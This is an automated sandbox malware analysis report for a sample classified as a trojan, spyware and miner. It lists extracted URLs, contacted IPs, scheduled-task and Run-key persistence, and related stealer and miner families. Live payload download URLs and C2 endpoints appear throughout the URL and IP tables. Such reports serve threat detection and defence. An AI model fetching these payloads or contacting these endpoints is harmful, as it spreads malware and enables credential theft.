https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe16/well/random.exe	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe68.2.5	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/of	f384e6dcaa.exe, 00000024.00000003.2943043081.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exea5	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/ipbefore	153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	false		high
http://home.fivegr5sb.top/kJZQfgRLErzqwUgdaDCN17	153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz:443/api	4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000D28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391	0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe613G:p	skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php/o	8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpa	8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exea5ceLMEMP	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	false		high
https://recaptcha.net/recaptcha/;	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpu	8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/d	4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://broadcast.st.dl.eccdnx.com	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exeQ:b	skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/C	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpku	skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microX	4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:27060	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3347201888.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/.	4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.50.161	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	false
44.196.3.45	httpbin.org	United States	14618	AMAZON-AESUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
141.8.192.141	home.fivegr5sb.top	Russian Federation	35278	SPRINTHOSTRU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575730
Start date and time:	2024-12-16 08:59:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@76/47@23/10
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 64.233.162.84, 142.250.181.142, 23.218.208.109, 20.190.147.12, 13.89.179.12, 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, login.live.com, e16604.g.akamaiedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target explorer.exe, PID 4080 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:01:01	API Interceptor	318800x Sleep call for process: skotes.exe modified
03:01:28	API Interceptor	24x Sleep call for process: powershell.exe modified
03:01:28	API Interceptor	7x Sleep call for process: f384e6dcaa.exe modified
03:01:59	API Interceptor	5x Sleep call for process: 4fa13d4e43.exe modified
03:02:08	API Interceptor	24x Sleep call for process: 153848897b.exe modified
09:00:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:01:24	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
09:02:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4fa13d4e43.exe C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe
09:02:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8b77671daf.exe C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe
09:02:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4fa13d4e43.exe C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.50.161	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse
	P0w3gV5bH3.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.fivegr5sb.top	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	141.8.192.141
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	141.8.192.141
fivegr5sb.top	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	141.8.192.141
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	141.8.192.141
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	141.8.192.141
tacitglibbr.biz	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	webhook.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	https://zde.soundestlink.com/ce/c/675fab7ba82aca38b8d991e6/675fabf585cd17d1e3e2bb78/675fac13057112d43b540576?signature=da009f44f7cd45aeae4fbb5addf15ac91fbf725bb5e9405183f25bf1db8c8baa	Get hash	malicious	Unknown	Browse	104.26.10.61
	https://keepsmiling.co.in/front/indexxxx.html?em=NT43NUs6MllJO0ZdVTkzKSA8NzlDOkcgTjhWXU0=	Get hash	malicious	Unknown	Browse	104.21.89.91
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.79.7
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	172.67.41.229
	1.elf	Get hash	malicious	Unknown	Browse	1.8.62.108
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	104.21.79.7
AKAMAI-ASN1EU	mips.elf	Get hash	malicious	Unknown	Browse	204.237.205.123
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	95.100.100.165
	bot.x86.elf	Get hash	malicious	Mirai	Browse	95.100.100.171
	bot.mpsl.elf	Get hash	malicious	Mirai	Browse	95.100.100.142
	armv5l.elf	Get hash	malicious	Unknown	Browse	2.21.22.15
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	23.55.153.106
	IGz.x86.elf	Get hash	malicious	Mirai	Browse	184.51.22.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
AMAZON-AESUS	antispam2.ps1	Get hash	malicious	Unknown	Browse	100.24.47.65
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	44.196.3.45
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	34.226.108.155
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	34.196.202.149
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	34.226.108.155
	arm7.elf	Get hash	malicious	Unknown	Browse	54.29.55.88
	x86.elf	Get hash	malicious	Unknown	Browse	44.214.129.44
	powerpc.elf	Get hash	malicious	Unknown	Browse	44.211.11.85
	arm6.elf	Get hash	malicious	Unknown	Browse	54.135.171.235
	mips.elf	Get hash	malicious	Unknown	Browse	34.235.29.91
